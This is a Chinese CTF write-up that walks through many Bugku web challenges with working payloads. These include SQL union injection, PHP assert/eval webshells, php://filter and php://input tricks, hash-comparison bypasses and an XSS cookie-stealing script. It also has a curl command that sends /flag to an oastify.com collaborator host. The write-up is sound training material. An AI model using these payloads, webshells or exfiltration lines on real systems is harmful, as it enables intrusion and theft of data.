滑稽

image-20241125153012282

源代码就有flag

image-20241125153042040

计算器

image-20241125153453676

题目说算对就能拿到flag,但是我发现这里只能输入一个数字,点击验证的话也抓不到包,然后查看源码发现是限制了输入的数字位数,改成3位就再填入答案就能拿到flag了

image-20241125153647739

alert

image-20241125153903194

出现了很多的弹窗,是js语句alert的代码

image-20241125153951559

在源代码底下就有flag,拿去解密就可以拿到了

image-20241125154219421

flag{19760efbde5ba7ec9d7a861a071687eb}

你必须让他停下

这个题打开是一直有跳转

image-20241125170523418

在源码中找到flag is here

image-20241125170808813

我多截了几个图,然后不小心就截到了有flag的

image-20241125170840141

但是我们还是正常做一下哈

用bp抓包,再不断发包,在response里面找带有flag的就可以了

头等舱

image-20241125171030828

什么也没有,我首先猜测的是有源码泄露,我们先看一下页面源代码,发现没什么线索,去扫一下目录

image-20241125182247553

也没有什么可用的信息,然后我们就在network里面看一下响应头信息

image-20241125182411487

居然flag在这。。。

GET

image-20241125182502224

很简单的一个传参,直接get传参传what=flag就可以了

POST

跟上一题是一样的,不过这道题是post传参,我们可以用bp或者用hackbar进行post 的传参

source

flag在源代码中被注释掉了,看起来是base64解码,拿去解码一下发现是假的flag

应该是常规的信息收集,那我们就扫一下目录

image-20241125183630777

看到一个flag.txt,访问一下发现也是假的,然后我们可以看到上面的.git文件,猜测是git信息泄露

image-20241125184238472

wget -r http://url/.git

把git文件扒下来进行分析

先试用命令git reflog

git reflog 是一个 Git 命令,用于查看本地仓库中的引用日志(Reference Logs)。引用日志记录了仓库中的 HEAD 和分支引用的改动历史,可以帮助用户找回丢失的提交或者分支。具体而言,git reflog 命令可以显示最近的 HEAD 和分支引用的变动,包括提交、重置、合并等操作,以及相应的操作哈希值和操作描述。

image-20241125184931294

然后一个个用git show进行查看就能找到真正的flag了

矛盾

image-20241125185209527

这里应该是嵌套的一个if语句吧,因为最后有输出我们传入的num。结合弱比较和is_numeric的作用,直接传入num=1e就能满足判断条件

image-20241125185739491

备份是个好习惯

出现编码,看着像是md5哈希值加密,我们先拿去解码一下看看,这个哈希值恰好是一个全为0的值,意思就是空文件,什么都没有

根据题目,这可能是备份文件泄露

常见的网站源码备份文件后缀名

  • .rar
  • .zip
  • .7z
  • .tar.gz
  • .bak
  • .swp
  • .txt
  • .html

常见的网站源码备份文件名

  • web
  • website
  • backup
  • back
  • www
  • wwwroot
  • temp

我们先用御剑扫一下目录找到了备份文件,下载下来发现是代码审计题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
// 双写绕过
parse_str($str);
// 变量覆盖
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>

这里的话就是md5绕过验证了,我们可以知道,当变量是数组的时候,他们的md5是相等的,但这里我们还需要注意的是变量名的验证

  1. $str = str_replace('key','',$str);:这行代码去掉了查询参数中的 “key” 字符串。

所以这里我们用双写进行绕过验证

payload

/?kkeyey1[]=1&kkeyey2[]=2

变量1

1
2
3
4
5
6
7
8
9
10
11
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>

分析一下正则匹配

preg_match(“/^\w+$/“,$args)

这段代码的作用是检查 $args 是否仅由字母、数字或下划线字符组成,且至少包含一个以上的字符

最关键的是最后的$$args,这是可变变量的意思,如$args的值是另一个变量的变量名。那么$$args就代表另一个变量。所以我们就给args赋值一个变量名,那么PHP的九大全局变量,一个一个试。

九大全局变量

  • $_POST [用于接收post提交的数据]
  • $_GET [用于获取url地址栏的参数数据]
  • $_FILES [用于文件就收的处理img 最常见]
  • $_COOKIE [用于获取与setCookie()中的name 值]
  • $_SESSION [用于存储session的值或获取session中的值]
  • $_REQUEST [具有get,post的功能,但比较慢]
  • SERVER[是预定义服务器变量的一种,所有SERVER[是预定义服务器变量的一种,所有_SERVER [是预定义服务器变量的一种,所有_SERVER开头的都
  • $GLOBALS [一个包含了全部变量的全局组合数组]
  • $_ENV [ 是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它]

因为题目提示flag In the variable,所以flag是作为数组变量存储在里面的

所以我们直接使用GLOBALS全局变量显示出所有的数组的键值对

image-20241125194129448

本地管理员

先使用弱口令发现打不通,然后我在源码中看到有被注释掉的base64编码,解码后是test123,猜测是admin的密码

我们抓包提交一下

image-20241125194924245

根据提示,这里需要伪造管理员的ip进行登录,我们添加一下x-forwarded-for: 127.0.0.1

image-20241125195024684

game1

是一个盖楼游戏

在源代码中看到了

image-20241125204332965

这里的话应该就是我们的突破口了,可能是达到多少分才会有flag

然后我们在游戏结束页面进行抓包

image-20241125204429474

sign中的MTc1==是175编码后的,那我们改一下score为9999试一下

image-20241125204805777

看来分数够了,成功拿到flag!

源代码

题目提示我们看源代码,那我们就看一下源代码

image-20241125204914898

  1. var p1 = '...';var p2 = '...';:这里定义了两个变量 p1p2,它们的值是经过编码的字符串。这种编码方式看起来类似于 URL 编码,将字符转换为 %xx 格式。
  2. eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));:这里使用了 eval() 函数,它将字符串参数作为 JavaScript 代码进行执行。unescape() 函数用于解码 URL 编码的字符串。这行代码将对 p1p2 进行解码后拼接起来,然后将其作为 JavaScript 代码进行执行。

然后我拿去解码得到了这些

1
2
3
4
5
6
7
8
function checkSubmit(){
var a=document.getElementById("password");
if("undefined"!=typeof a){
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!0;
alert("Error");
a.focus();return!1}}
document.getElementById("levelQuest").onsubmit=checkSubmit;
  1. function checkSubmit() { ... }: 这是一个名为 checkSubmit 的函数,用于验证密码字段的值。函数内部包含以下逻辑:
    • var a = document.getElementById("password");: 通过 document.getElementById() 方法获取 id 为 “password” 的元素,通常表示密码输入框。
    • if ("undefined" != typeof a) { ... }: 检查是否成功获取到密码输入框元素。
    • if ("67d709b2%654aa2aa648cf6e87a7114f1" == a.value) { return true; }: 如果密码输入框的值等于指定的字符串(”67d709b2%654aa2aa648cf6e87a7114f1”),则返回 true,表示验证通过。
    • alert("Error");: 如果密码验证不通过,弹出警告框提示用户出错。
    • a.focus(); return false;: 将焦点设置回密码输入框,并返回 false,表示验证未通过。
  2. document.getElementById("levelQuest").onsubmit = checkSubmit;: 这行代码将 checkSubmit 函数绑定到 id 为 “levelQuest” 的表单的 onsubmit 事件上。这意味着在表单提交之前会执行 checkSubmit 函数,用于验证密码字段的值,如果验证通过,则表单提交成功,否则会提示错误信息并保持在当前页面。

所以我们要让我们输入的值是67d709b2b54aa2aa648cf6e87a7114f1,输入后就能拿到flag了

网站被黑

题目提示:网站被黑了 黑客会不会留下后门

既然是网站被黑了,那黑客必然会留下什么shell之类的恶意代码,那我们扫一下目录

image-20241125211016567

访问一下shell.php

image-20241125211206101

试了一下弱口令发现都不得行,那就只能爆破了

image-20241125211516817

image-20241125211523239

额我们试一下bp自带的password字典

image-20241125211813962

居然真的有

bp

提示了弱密码top1000?z?????,让我们找出密码

image-20241125212327225

账号是admin默认,看样子是需要我们进行爆破,字典应该是top1000,

image-20241125212754900

结果发现没打出来,我看了一下response请求包的内容,发现了这段js代码

1
2
3
4
5
6
7
8
 var r = {code: 'bugku10000'}
if(r.code == 'bugku10000'){
console.log('e');
document.getElementById('d').innerHTML = "Wrong account or password!";
}else{
console.log('0');
window.location.href = 'success.php?code='+r.code;
}

后来看了其他大佬的解释:

若r值为{code: ‘bugku10000’},则会返回错误

{通过这一句“window.location.href = ‘success.php?code=’+r.code;”,可以判断网页将跳转到以code作为参数的success.php页面。其中code的值来自于var r = {code: ‘bugku10000’}。

至此,可以考虑用burp进行爆破。但通过第一次爆破过程中所以返回页面长度一致,可以判断code值的长度与’bugku10000’相同,也是10。考虑到对于10个字符长度进行爆破需要的时间太长,因此现在以code为参数爆破是不可行的。

因为code是success.php页面的参数,因此在登录页面当使用正确密码时,code的值(r.code)应该与’bugku10000’不同,进而r的值也与{code: ‘bugku10000’}不同。

也就是说,如果我们输入正确的密码,返回页面的r将不是{code: ‘bugku10000’}。

因此可以在burp的intruder爆破模块中,使用{code: ‘bugku10000’}对返回包内容进行筛选。找到返回包不含有{code: ‘bugku10000’}的,就可能是使用正确的密码。}

image-20241125213525551

image-20241125213819622

爆破后找到了这个密码的回显包中没有{code: ‘bugku10000’},猜测可能是我们想要的密码,直接输入就能拿到flag了

好像需要密码

image-20241125214206865

又是一个密码界面,直接上爆破吧,因为是纯数字,所以我们设置纯数字的字典进行爆破就可以了

image-20241125214705440

这道题我看到需要爆破的量很多,我就去搜索怎么添加线程。结果忙来忙去浪费了很多时间,不如让他挂着爆破,最后还是拿到flag了

shell

打开是一个空白页面,不过在题目提示中有代码

1
2
3
4
5
6
<?php
$poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s']);
?>
  1. 首先,定义了一个变量 $poc,其值为字符串 “a#s#s#e#r#t”
  2. 接着,使用 explode 函数将字符串 $poc 按照 “#” 分割成数组 $poc_1,所以 $poc_1 的值为 ["a", "s", "s", "e", "r", "t"]
  3. 然后,从数组 $poc_1 中取出各个元素并拼接成一个字符串 $poc_2,这里实际上是将函数名 assert 重新组合成字符串。
  4. 最后,通过 $poc_2 这个字符串作为函数名,执行用户传入的GET参数 's' 的内容。

那我们了解一下assert函数

assert 函数是PHP中的一个调试函数,通常用于在代码中验证某个条件是否为真

这里我猜测是我们需要传入的参数s是一个命令,然后assert会将这个命令解析执行

我们可以测试一下

image-20241125232837903

发现是可以正常执行的,那我们就用我们熟悉的ls和cat就可以拿到flag了

eval

1
2
3
4
5
6
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>

直接对hello传入system命令就行了

需要管理员

image-20241125233808776

查看源码和页面都没发现什么有用的信息,我们试着用御剑扫一下目录

网站robots协议

robots是搜索引擎爬虫协议,也就是你网站和爬虫的协议。

简单的理解:robots是告诉搜索引擎,你可以爬取收录我的什么页面,你不可以爬取和收录我的那些页面。robots很好的控制网站那些页面可以被爬取,那些页面不可以被爬取。

主流的搜索引擎都会遵守robots协议。并且robots协议是爬虫爬取网站第一个需要爬取的文件。爬虫爬取robots文件后,会读取上面的协议,并准守协议爬取网站,收录网站。

robots文件是一个纯文本文件,也就是常见的.txt文件。在这个文件中网站管理者可以声明该网站中不想被robots访问的部分,或者指定搜索引擎只收录指定的内容。因此,robots的优化会直接影响到搜索引擎对网站的收录情况。

存放目录:robots文件必须要存放在网站的根目录。也就是 域名/robots.txt 是可以访问文件的。你们也可以尝试访问别人网站的robots文件。 输入域名/robots.txt 即可访问。

robots写法

User0agent:*

Disallow: /?s*

Disallow: /wp-*

user-agent这句代码表示那个搜索引擎准守协议。user-agent后面为搜索机器人名称,如果是“*”号,则泛指所有的搜索引擎机器人;案例中显示“User-agent: ” 表示所有搜索引擎准守,号表示所有。

Disallow是禁止爬取的意思。Disallow后面是不允许访问文件目录(你可以理解为路径中包含改字符、都不会爬取)。案例中显示“Disallow: /?s*” 表示路径中带有“/?s”的路径都不能爬取。 *代表匹配所有。 这里需要主机。 Disallow空格一个,/必须为开头。

如果“Disallow: /” 因为所有路径都包含/ ,所以这表示禁止爬取网站所有内容。

程序员本地网站

#伪造X-Forwarded-For头进行内网伪装

image-20241126104244668

看到这个第一时间想到的就是修改请求头进行内网伪装

X-Forwarded-For 用来说明从哪里来的,一般用来内网伪装 X-Forwarded-For: 127.0.0.1

在请求包中添加X-Forwarded-For: 127.0.0.1

image-20241126104319404

直接就拿到flag了

你从哪里来

image-20241126104920035

这个一看就是需要修改请求头了

Referer 先前网页的地址,当前请求网页紧随其后,即来路 Referer: www.baidu.com

需要先前网页是谷歌的地址

image-20241126105256625

前女友

#绕过md5和strcmp()验证

image-20241126105607312

在源代码中找到了code.txt

image-20241126105944232

我们点进去看一下

image-20241126105950391

strcmp() 是一个 PHP 函数,用于比较两个字符串。它的用法如下:

1
php复制int strcmp ( string $str1 , string $str2 )
  • 如果 str1 小于 str2,那么 strcmp() 返回一个小于 0 的整数。
  • 如果 str1 大于 str2,那么 strcmp() 返回一个大于 0 的整数。
  • 如果 str1 等于 str2,那么 strcmp() 返回 0。

strcmp函数无法比较数组,对象,会返回0

md5可以用数组绕过,也可以用碰撞

image-20241126110733003

MD5

image-20241126110838510

那我们传入a=1试试

image-20241126110902896

提示错误,题目提示是md5碰撞,根据 PHP 弱类型比较的特点,所以如果两个不同的密码经过哈希以后,其哈希值都是以 0E 开头的,那么 PHP 将会认为他们相同,这就是所谓的 MD5 碰撞漏洞

所以我们选一个常见的md5碰撞值就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
大写字母类:
QLTHNDT
0e405967825401955372549139051580
QNKCDZO
0e830400451993494058024219903391
EEIZDOI
0e782601363539291779881938479162
TUFEPMC
0e839407194569345277863905212547
UTIPEZQ
0e382098788231234954670291303879
UYXFLOI
0e552539585246568817348686838809
IHKFRNS
0e256160682445802696926137988570
PJNPDWY
0e291529052894702774557631701704
ABJIHVY
0e755264355178451322893275696586
DQWRASX
0e742373665639232907775599582643
DYAXWCA
0e424759758842488633464374063001
GEGHBXL
0e248776895502908863709684713578
GGHMVOE
0e362766013028313274586933780773
GZECLQZ
0e537612333747236407713628225676
NWWKITQ
0e763082070976038347657360817689
NOOPCJF
0e818888003657176127862245791911
MAUXXQC
0e478478466848439040434801845361
MMHUWUV
0e701732711630150438129209816536

各种绕过哟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])

print 'passwd can not be uname.';

else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

die('Flag: '.$flag);

else

print 'sorry!';

}
?>

关注判断条件

只要使uname的sha1的值与passwd的sha1的值相等即可,但是同时他们两个的值又不能相等

sha1()函数无法处理数组类型,会将报错并返回false

GET:id=margin&&uname[]=1

POST:passwd[]=2

秋名山车神

多刷新几次会有出现

image-20241126112822178

说明我们要post提交参数value

直接用脚本吧(抄的baozongwi 的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests#用于发送 HTTP 请求。
import re#用于处理正则表达式。

url="http://114.67.175.224:19401/"#要访问的网页的 URL。
s=requests.Session()#保持会话

r=s.get(url)
equation=re.search(r'(\d+[+\-*])+(\d+)',r.text).group()#在页面返回的文本中寻找一个数学表达式,并将找到的表达式存储在变量 equation 中。
for i in range(0,50):
result=eval(equation)#eval() 函数用来执行一个字符串表达式,并返回表达式的值。
key={'value':result}
response=s.post(url=url,data=key)
print(response.text)
if "flag" in response.text:#查找在response中的flag
break

速度要快

image-20241126114230980

刷新并没有发现什么,直接抓包

image-20241126114249269

发现response中有flag,base64解密得到

image-20241126114340881

还有一层加密

image-20241126114357915

这个数是什么呢,根据注释里面的内容,猜测我们需要post传入一个参数margin

修改一下请求包为post,传入margin=597691

image-20241126114537404

有变化,继续分析,然后我发现是重复的,没办法,只能写脚本了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import base64

url = "http://114.67.175.224:16522/"
s=requests.Session()

for i in range(0,50):
r=s.get(url)#发起一个 GET 请求,获取指定 URL 的响应,并将响应存储在变量 r 中
header_flag=r.headers['flag']#从响应的头信息中获取名为 'flag' 的值,并将其存储在 header_flag 中。
header_flag=base64.b64decode(header_flag).decode()

value=header_flag.split(' ')[-1]# 将字符串 header_flag 按空格分割,然后取最后一个部分作为 value。
v=base64.b64decode(value).decode('utf-8')# 对 Base64 编码的 value 进行解码,然后将其转换为 UTF-8 编码的字符串。
response=s.post(url,data={'margin':v})
print(response.text)
if 'flag' in response.text:
print(response.text)
break

file_get_contents

1
2
3
4
5
6
7
8
9
10
11
12
<?php
extract($_GET);
if (!empty($ac)){
$f = trim(file_get_contents($fn));
if ($ac === $f){
echo "<p>This is flag:" ." $flag</p>";
}
else{
echo "<p>sorry!</p>";
}
}
?>

考查的是file_get_contents()函数,不会的自行百度哈

大致意思就是要上传 ac和fn两个参数

且ac的值等于fn文件内容的值,但是这里的话是没法满足判断句的,那我们试着绕过一下这个判断句

file_get_contents()绕过我们用伪协议进行绕过

payload:

image-20241126140411099

为什么这样做呢?

**php://input**作用:执行POST数据中的php代码

用**php://input**绕过file_get_contents()

1.将要GET的参数?xxx=php://input

2.用post方法传入想要file_get_contents()函数返回的值

成绩查询

用1和1’测试闭合方式,发现是单引号闭合

用order by测试回显字段数发现字段数是4

用union select查看回显位置

-1’ union select 1,2,3,4#

image-20241126141535282

既然没有过滤那就用联合查询进行注入

1
2
3
4
5
6
7
8
查询数据库名
-1' union select 1,database(),3,4#
查询表名
-1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='skctf'),3,4#
查询表中列名
-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='fl4g'),3,4#
查询列中数据
-1' union select 1,(select group_concat(skctf_flag)from skctf.fl4g),3,4#

no select

猜测是开始有过滤了,而且过滤的还是select

我试了一下万能密码发现能打通

1’ or 1=1#

login2

测试之后发现都是登录失败,抓包看看有没有什么线索

image-20241126143402053

发现一个tip很显眼啊,拿去解码一下

1
2
3
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

这里的话是需要让row中password的md5值等于password,但是这里的话我们是不知道里面有哪些用户和密码的,这时候有个思路就是

通过输入不存在的用户构造新的用户和密码去进行登录

1
2
username=admin' union select 1,'md5(123)'#&password=123  
这里将123的md5值换进去就行

image-20241126145315853

这里可以看到一个index.php,我们访问一下

image-20241126145257655

这里我一开始也很懵,一点提示也没得,后面看了粽子师傅的wp才知道这个是无回显的延时注入

1;curl -X POST -F xx=@/flag http://yacgwxvhy7jd2crte67tuxg8lzrqfg35.oastify.com

这里换成bp里面服务器collarborator的地址,然后进行poll now就行了

image-20241126145916680

或者也可以直接写文件

payload:123 | cat /flag >1.php
查看 flag文件并输出到1.php里边
1.php可以在网站子目录查看内容拿到flag

sql注入

基于布尔的sql盲注

先fuzz一下,当我输入admin的话显示的是password错误

留言板

输入正常的xss语句看看效果

<script>alert(‘xss’)</script>

发现括号被转化成|

扫目录发现了两个文件

/admin.php

/db.sql

admin.php是一个登录界面,但是这个db.sql访问是404,不知道是环境问题还是什么,所以只好从大佬的wp上摘下来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# Host: localhost  (Version: 5.5.53)
# Date: 2019-08-04 16:13:22
# Generator: MySQL-Front 5.3 (Build 4.234)

/*!40101 SET NAMES utf8 */;

#
# Structure for table "text"
#

CREATE DATABASE xss DEFAULT CHARACTER SET utf8;
use xss;

DROP TABLE IF EXISTS `text`;
CREATE TABLE `text` (
`Id` int(11) NOT NULL AUTO_INCREMENT,
`text` varchar(255) DEFAULT NULL,
PRIMARY KEY (`Id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

#
# Data for table "text"
#

/*!40000 ALTER TABLE `text` DISABLE KEYS */;
/*!40000 ALTER TABLE `text` ENABLE KEYS */;

#
# Structure for table "user"
#

DROP TABLE IF EXISTS `user`;
CREATE TABLE `user` (
`Id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) DEFAULT NULL,
`password` varchar(255) DEFAULT NULL,
PRIMARY KEY (`Id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

#
# Data for table "user"
#

/*!40000 ALTER TABLE `user` DISABLE KEYS */;
INSERT INTO `user` VALUES (1,'admin','011be4d65feac1a8');
/*!40000 ALTER TABLE `user` ENABLE KEYS */;

底下的话就是登录的账号密码,

登录后看到了我刚刚传入的(括号,那我们返回去注入一下xss语句

<script>alert(1)</script>

登录后可以看到有弹窗

image-20241126153642287

那我们看一下admin的cookie中有没有flag

1
<script>alert(document.cookie)</script>

image-20241126155017757

刚好admin的cookie里面就有flag,把前后的编码换成花括号就行了

留言板1

<script>document.location.href=”http://[ip]/xss.php?cookie=”+document.cookie

发现script,http被过滤,还有长度限制

不过好像我的服务器接收不到数据,也不知道为啥,应该是平台的环境问题

文件包含

image-20241126160635726

看到那个click就点了,第一眼感觉像是任意文件读取,但是单单的file=index.php是没办法获取源代码的,我们需要用伪协议去读取源代码

1
2
3
4
5
6
7
获取源码代码
?file=php://filter/resource=xxx.php

通常获取源代码时,伪协议将xxx.php当文件执行,
使得很多信息往往不能直接显示在浏览器页面上,通常使用base64编码后再显示
?file=php://filter/read=convert.base64-encode/resource=index.php

页面回显了base64编码

解码后得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<title>Bugku-web</title>

<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{f81f50efef059669689aa4c5b9831c7a}
?>
</html>

不过我发现直接读flag也是可以读到了,?file=/flag直接就能拿到flag了

cookie

题目提示是cookie欺骗,直接看cookie发现了一个fla,拿去提交发现是假的flag

image-20241126161220352

在url中有a2V5cy50eHQ=,拿去解码发现是一个keys.txt,我们访问一下发现和刚刚的页面内容是一样的,猜测是这个网页访问了一个文本文档,然后我就试着访问一下flag.txt和flag.php发现什么都没有,我就猜测了一下index.php

image-20241126162309858

修改了line发现有不同的内容,后面访问了n个line后才拿到完整的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

看到源码就好做了,设置cookie里面的margin等于margin然后访问keys.php

image-20241126163042405

never_give_up

在源码中发现了1p.html,但是访问了会跳转到bugku的官方,那我们抓包拦截一下

image-20241126163517748

发现了很多被注释掉的语句,这是多层解码

第一层

image-20241126164155012

第二层

image-20241126164215358

第三层

image-20241126164233124

最后得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
$flag = "flag{***********}"
}
else
{
print "never never never give up !!!";
}


?>

条件

  • 变量 $id 弱等于整型数 0
  • 变量 $b 的长度大于 5
  • 字符串 1114 要与字符串 111 连接变量 $b 的第一个字符构成的正则表达式匹配
  • 变量 $b 的第一个字符弱不等于整型数 4
  • 变量 $data 弱等于字符串 bugku is a nice plateform!

reg() 函数或 eregi() 函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。

绕过file_get_contents()函数用前面的方法就行,所以我们用伪协议去做

image-20241126165219445

文件包含2

image-20241127122221343

和前面的一样,有?file=的格式,在源码中发现了upload.php,访问发现是一个上传文件的页面

image-20241127122335565

经过测试发现这里对content头和后缀名进行了验证,然后也过滤了<?php 和?>,这样的话我们就只能换成phtml的马去做了

1
<script language="php">eval($_REQUEST[cmd])</script>

上传后修改文件后缀和content-type头